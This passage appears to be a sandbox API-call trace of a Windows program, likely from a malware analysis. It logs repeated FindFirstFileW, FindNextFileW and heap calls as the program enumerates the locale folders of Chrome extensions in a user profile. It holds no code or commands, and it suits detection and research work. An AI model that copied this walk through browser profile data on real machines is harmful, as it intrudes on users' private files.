ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0270.065] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0270.065] GetProcessHeap () returned 0x550000 [0270.065] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0270.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0270.117] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0270.118] GetProcessHeap () returned 0x550000 [0270.118] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0270.118] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0270.119] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0270.119] GetProcessHeap () returned 0x550000 [0270.119] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0270.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0270.132] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0270.132] GetProcessHeap () returned 0x550000 [0270.132] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0270.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0270.132] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0270.133] GetProcessHeap () returned 0x550000 [0270.133] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0270.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0270.156] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0270.156] GetProcessHeap () returned 0x550000 [0270.156] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0270.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0270.156] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0270.159] GetProcessHeap () returned 0x550000 [0270.159] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0270.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0270.186] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0270.187] GetProcessHeap () returned 0x550000 [0270.187] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0270.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0270.187] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0270.187] GetProcessHeap () returned 0x550000 [0270.187] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0270.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0270.192] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0270.193] GetProcessHeap () returned 0x550000 [0270.193] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0270.193] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0270.193] GetProcessHeap () returned 0x550000 [0270.193] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0270.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8687f510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0270.195] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0270.195] GetProcessHeap () returned 0x550000 [0270.195] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0270.195] FindClose (in: hFindFile=0x6399c8 | out: hFindFile=0x6399c8) returned 1 [0270.195] GetProcessHeap () returned 0x550000 [0270.195] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0270.195] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0270.195] GetProcessHeap () returned 0x550000 [0270.196] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0270.196] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0270.196] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*", lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x871928f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6399c8 [0270.209] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0270.258] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0270.259] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0270.259] GetProcessHeap () returned 0x550000 [0270.259] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0270.259] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0270.482] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0270.483] GetProcessHeap () returned 0x550000 [0270.483] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0270.483] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0270.483] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0270.483] GetProcessHeap () returned 0x550000 [0270.483] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0270.483] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0270.920] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0270.921] GetProcessHeap () returned 0x550000 [0270.921] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0270.921] GetProcessHeap () returned 0x550000 [0270.921] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0270.921] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0270.921] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.921] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0270.921] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0270.922] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0270.922] GetProcessHeap () returned 0x550000 [0270.922] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0270.922] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0270.922] GetProcessHeap () returned 0x550000 [0270.922] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0270.922] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0271.021] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.021] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.021] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.021] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0271.022] GetProcessHeap () returned 0x550000 [0271.022] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0271.022] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0271.022] GetProcessHeap () returned 0x550000 [0271.022] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0271.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0271.022] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.022] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.022] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.023] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) 